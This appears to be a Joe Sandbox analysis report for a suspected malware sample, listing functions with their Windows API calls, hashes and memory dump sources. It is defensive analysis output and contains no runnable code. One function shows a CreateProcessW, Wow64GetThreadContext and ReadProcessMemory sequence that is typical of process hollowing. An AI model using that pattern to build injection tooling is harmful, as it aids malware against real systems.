Opcode ID: d5804b85c7f271316788d59c8228ed6f6241e6cf57a6a9e7f7561f4a39d0614c
Instruction ID: 126139649d5f44e2554ab4cd055161f4b02e588798434b24bb185fb97b2a164d
Opcode Fuzzy Hash: d5804b85c7f271316788d59c8228ed6f6241e6cf57a6a9e7f7561f4a39d0614c
Instruction Fuzzy Hash: F481BBF89013808FCBA8EF39E6D46557AE6BB8A714710812A9199C724AFB3F4408DF50

Function 00FA594C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00FA5963

Part of subcall function 00FAA3AB: __NMSG_WRITE.LIBCMT ref: 00FAA3D2
Part of subcall function 00FAA3AB: __NMSG_WRITE.LIBCMT ref: 00FAA3DC

__NMSG_WRITE.LIBCMT ref: 00FA596A

Part of subcall function 00FAA408: GetModuleFileNameW.KERNEL32(00000000,010443BA,00000104,?,00000001,00000000), ref: 00FAA49A
Part of subcall function 00FAA408: ___crtMessageBoxW.LIBCMT ref: 00FAA548

Part of subcall function 00FA32DF: ___crtCorExitProcess.LIBCMT ref: 00FA32E5
Part of subcall function 00FA32DF: ExitProcess.KERNEL32 ref: 00FA32EE

Part of subcall function 00FA8D68: __getptd_noexit.LIBCMT ref: 00FA8D68

RtlAllocateHeap.NTDLL(01680000,00000000,00000001,00000000,?,?,?,00FA1013,?), ref: 00FA598F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 54ca34253c04ac01bc26d8a9da11e4bbe15251a3cebb2199dd4fe73281746ecf
Instruction ID: 8c3debd4edcc273dee953f7ba155118fceb960341139c2c110810096e1277e86
Opcode Fuzzy Hash: 54ca34253c04ac01bc26d8a9da11e4bbe15251a3cebb2199dd4fe73281746ecf
Instruction Fuzzy Hash: 7201D2F6A00B16DFE6212B24ED42B6F72988F47B70F50002AF500AE181DBB99D01B360

Function 00FE9B2C Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00FE97D2,?,?,?,?,?,00000004), ref: 00FE9B45
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00FE97D2,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00FE9B5B
CloseHandle.KERNEL32(00000000,?,00FE97D2,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00FE9B62

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 040529922342997cdf5405c8970e8622950f08dadfd717b2c8024fb2c6880d55
Instruction ID: cd5486b75f9af831fa6f622eb3c815798464455f22e36a8d98080b8b56f01ba7
Opcode Fuzzy Hash: 040529922342997cdf5405c8970e8622950f08dadfd717b2c8024fb2c6880d55
Instruction Fuzzy Hash: C0E08632580315B7D7321B54EC09FCA7B18AB06B71F108110FB64690D087B62611A798

Function 00FE8F97 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FE8FA5

Part of subcall function 00FA2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00FA9C64), ref: 00FA2FA9
Part of subcall function 00FA2F95: GetLastError.KERNEL32(00000000,?,00FA9C64), ref: 00FA2FBB

_free.LIBCMT ref: 00FE8FB6
_free.LIBCMT ref: 00FE8FC8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: efa5cfa9b1b2f41bce9affd07bef402890ef9bb67adc050918c04926c1923072
Instruction ID: 068a26a8944e70cdd604506ccfd76a3ca2037a1ff9a4154264b96f37f718fbcf
Opcode Fuzzy Hash: efa5cfa9b1b2f41bce9affd07bef402890ef9bb67adc050918c04926c1923072
Instruction Fuzzy Hash: 91E012E1B097814ECA64B57DAD40A9367EE5F493A0718081DB40DDB146DE28E842A128

Function 00F8AB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00FC002B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: d739d43e579001dc47a46db18ef4ec57ee3d266ff9dd9b4b290d9a17f3abe5d3
Instruction ID: e8568b1b18b029f99ba6e1c412edb647e1087273f67bfa5f7ab38e7bbb01d2d1
Opcode Fuzzy Hash: d739d43e579001dc47a46db18ef4ec57ee3d266ff9dd9b4b290d9a17f3abe5d3
Instruction Fuzzy Hash: 89226971908201CFDB24EF14C895BAAB7E1FF85310F15895DE8968B362DB35EC45EB82

Function 00F84DD0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F84E1A

Strings

EA06, xrefs: 00FBDCF5

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 9437ff98f864af744985881a77499db899486b561a260480881344c2fa85a3dc
Instruction ID: ef3f0d02ffdf2c041777bb740e730e8958bfdbb796c11af1fe40f100255e50ce
Opcode Fuzzy Hash: 9437ff98f864af744985881a77499db899486b561a260480881344c2fa85a3dc
Instruction Fuzzy Hash: D4417C72E0425A5BCF21BB64CC517FE7FA6AB05310F284075FC82DB282D625AD40B7A1

Function 00F8492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00F84992

Part of subcall function 00FA35AC: __lock.LIBCMT ref: 00FA35B2
Part of subcall function 00FA35AC: DecodePointer.KERNEL32(00000001,?,00F849A7,00FD81BC), ref: 00FA35BE
Part of subcall function 00FA35AC: EncodePointer.KERNEL32(?,?,00F849A7,00FD81BC), ref: 00FA35C9

Part of subcall function 00F84A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00F84A73
Part of subcall function 00F84A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00F84A88

Part of subcall function 00F83B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F83B7A
Part of subcall function 00F83B4C: IsDebuggerPresent.KERNEL32 ref: 00F83B8C
Part of subcall function 00F83B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,010462F8,010462E0,?,?), ref: 00F83BFD
Part of subcall function 00F83B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00F83C81

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00F849D2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 39d0914b5f7aee9d011179c72b3edfb74caa825f843cc1961060757372dc7074
Instruction ID: 304a82a824f9b758bfa2636d017bf9fe2cdeeaaaab71bfd3bfbfefe96ddb279c
Opcode Fuzzy Hash: 39d0914b5f7aee9d011179c72b3edfb74caa825f843cc1961060757372dc7074
Instruction Fuzzy Hash: 1611C0B1904301AFC320EF68DA8595AFBE8EF95750F00451EF085832A1DBBA9544DB92

Function 00F85DF9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00F85981,?,?,?,?), ref: 00F85E27
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00F85981,?,?,?,?), ref: 00FBE19C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a52e3b67394139b6058de1204d6acc009b3091554966a07fbdf44702453e5aca
Instruction ID: 2a25dca83c0329835a6cc98550a517ed05968906941391c0fec11ea27b76354b
Opcode Fuzzy Hash: a52e3b67394139b6058de1204d6acc009b3091554966a07fbdf44702453e5aca
Instruction Fuzzy Hash: 59019271644708BFF7355E28CC8AFE63A9CAB01B7CF108318BAE55A1D0C6B41E49AF50

Function 00FA0FF6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA594C: __FF_MSGBANNER.LIBCMT ref: 00FA5963
Part of subcall function 00FA594C: __NMSG_WRITE.LIBCMT ref: 00FA596A
Part of subcall function 00FA594C: RtlAllocateHeap.NTDLL(01680000,00000000,00000001,00000000,?,?,?,00FA1013,?), ref: 00FA598F

std::exception::exception.LIBCMT ref: 00FA102C
__CxxThrowException@8.LIBCMT ref: 00FA1041

Part of subcall function 00FA87DB: RaiseException.KERNEL32(?,?,?,0103BAF8,00000000,?,?,?,?,00FA1046,?,0103BAF8,?,00000001), ref: 00FA8830

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 6ced9e121f3e7900d517ade9d84ee5a4c1648cd89f4d77ed5590f3b65b9638a7
Instruction ID: d1b2bb6b450576e1891497c27544b22cc82362c972a66df62b2a8af04fcfdf40
Opcode Fuzzy Hash: 6ced9e121f3e7900d517ade9d84ee5a4c1648cd89f4d77ed5590f3b65b9638a7
Instruction Fuzzy Hash: 18F028B590020DA6CB24BA58EC019DF7BACAF023A4F204025F844A6151DFB88AC1A2E0

Function 00FA582D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA585C
__lock_file.LIBCMT ref: 00FA587D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 95e8882a4ca49ce607d5c24ae1c3dd95c5e15f560b181847a118053747a57a77
Instruction ID: 5ada7d5d1e83bdcf9517c349e6f9cc24e93df215171274800b64011adc036022
Opcode Fuzzy Hash: 95e8882a4ca49ce607d5c24ae1c3dd95c5e15f560b181847a118053747a57a77
Instruction Fuzzy Hash: 72016CF1C40609EBCF11AF65CC0559F7B71AF82BA0F144215F8145B161DB7D8A12FB51

Function 00FA55D6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA8D68: __getptd_noexit.LIBCMT ref: 00FA8D68

__lock_file.LIBCMT ref: 00FA561B

Part of subcall function 00FA6E4E: __lock.LIBCMT ref: 00FA6E71

__fclose_nolock.LIBCMT ref: 00FA5626

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 518bafebc0439abb3586d5846849e728c8f0d232a646cdfe1edad621090d0783
Instruction ID: 86f67499241dcb2fd05fced6b77d945132f590aa3bf7ead1359d43d1588c0bbb
Opcode Fuzzy Hash: 518bafebc0439abb3586d5846849e728c8f0d232a646cdfe1edad621090d0783
Instruction Fuzzy Hash: 5DF0BBF1C00A059AD720AF758C0275E77A16F43B74F558109E414AB2C1CFBC8902BB55

Function 00F5129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00F51ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00F51AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00F51B13

Memory Dump Source

Source File: 00000000.00000002.2036404083.0000000000F50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_W2k2NLSvja.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: df6a772f5278f9eae63f3a29a40672dfa4321236305f3f5d8c91d224ff423281
Instruction ID: 9c874840a09942c5b2e663d870af98bb3e77743c0515b42434ad0f6217d4608c
Opcode Fuzzy Hash: df6a772f5278f9eae63f3a29a40672dfa4321236305f3f5d8c91d224ff423281
Instruction Fuzzy Hash: B812FE24E18658C6EB24DF60D8507DEB232FF68301F1090E9910DEB7A4E77A5F85CB5A

Function 00F8F3F0 Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d04b19215770c2cc5d2978cadf952bac6204312171d5a39f7d95c5da233abd
Instruction ID: 44528896f13ec24321c80e0a8be62716249538b702a0aee839fe854bec99a0f2
Opcode Fuzzy Hash: 29d04b19215770c2cc5d2978cadf952bac6204312171d5a39f7d95c5da233abd
Instruction Fuzzy Hash: 5C61CDB1A0020A9FCB14EF64C991BBBB7E5EF09310F18803EE9069B281D774ED55EB51

Function 00F92123 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb0dd3b4fd1b3a51cd78bf8421f8bad61b0e3b92ca6721b560399c2e204023d
Instruction ID: 8f9ed95709d20644e1e2dd913c023e9b43894aa453d716e75bfe2e0ad5b65647
Opcode Fuzzy Hash: 9fb0dd3b4fd1b3a51cd78bf8421f8bad61b0e3b92ca6721b560399c2e204023d
Instruction Fuzzy Hash: 9151A235A04605AFDF14FB54CD92FAD77A6AF45720F148068F806AB382CB38ED00E751

Function 00F85C4E Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00F85CF6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a03f6c909d2010ce59f2e10a4c9e9f3c7dcb6710192d59f69b37374207cad6ae
Instruction ID: 3492baabc0703da53c0bffdf7c2a8e19e1ca517815716cf625fd74a5a1ea80f5
Opcode Fuzzy Hash: a03f6c909d2010ce59f2e10a4c9e9f3c7dcb6710192d59f69b37374207cad6ae
Instruction Fuzzy Hash: 80311C72A00B1AAFCB18EF6DC48469DB7B5FF48720F148619D81993710D771A950EB90

Function 00FC00D6 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00FC00E1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 8380ea188f4cc87ae393f944d043b621423c7c755f88dd7f7de1c6319de2a5cc
Instruction ID: f14af291bf2eb30903f6eccebbaa0eff080b02e67faa37c8c04aa491bfd8a7f7
Opcode Fuzzy Hash: 8380ea188f4cc87ae393f944d043b621423c7c755f88dd7f7de1c6319de2a5cc
Instruction Fuzzy Hash: 34412774908341CFDB24DF14C484B5ABBE0BF45318F09889CE8998B762C776EC46DB52

Function 00F8C707 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00F8C73D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: f865473bca29f75f5d46a681b20a4729b748c3a749e3fa304ca5d936ff147d9e
Instruction ID: f2adeca1a7560207a12b9e7be99b05419f94d12668423fc54a6118b1be0599a0
Opcode Fuzzy Hash: f865473bca29f75f5d46a681b20a4729b748c3a749e3fa304ca5d936ff147d9e
Instruction Fuzzy Hash: 1E119072904219DBCB14FBAADC81AEEF778FF91760F10411AF811A7190EB349D05EBA0

Function 00F880D7 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F88109

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 46acc021f7701719685bd31058d1bf319928b5265fe0d6ec76a5632e42df60c5
Instruction ID: 6137532cf379b8cd3776bc8212131e2f70eb940559487a1584597f9650fcae61
Opcode Fuzzy Hash: 46acc021f7701719685bd31058d1bf319928b5265fe0d6ec76a5632e42df60c5
Instruction Fuzzy Hash: 3C115E76604605DFC724DF28D881A56B7E9FF49354B60C82EE88ACB361DB32E842DB50

Function 00F84F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F84D13: FreeLibrary.KERNEL32(00000000,?), ref: 00F84D4D

Part of subcall function 00FA548B: __wfsopen.LIBCMT ref: 00FA5496

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,010462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00F84F6F

Part of subcall function 00F84CC8: FreeLibrary.KERNEL32(00000000), ref: 00F84D02

Part of subcall function 00F84DD0: _memmove.LIBCMT ref: 00F84E1A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 01cdcfc198439a193ebf92796a70d0930372f1e06848f829d7876d0cab75f34d
Instruction ID: c9ca172ba587b46974361446732f73d08a7bb4ae7c549f936c5f138131c3c315
Opcode Fuzzy Hash: 01cdcfc198439a193ebf92796a70d0930372f1e06848f829d7876d0cab75f34d
Instruction Fuzzy Hash: F011C432600707ABCB21FF71CC12FEE77A99F44710F10842DF981A7181DA79AA05BB60

Function 00FC01AF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00FC01BB

Memory Dump Source

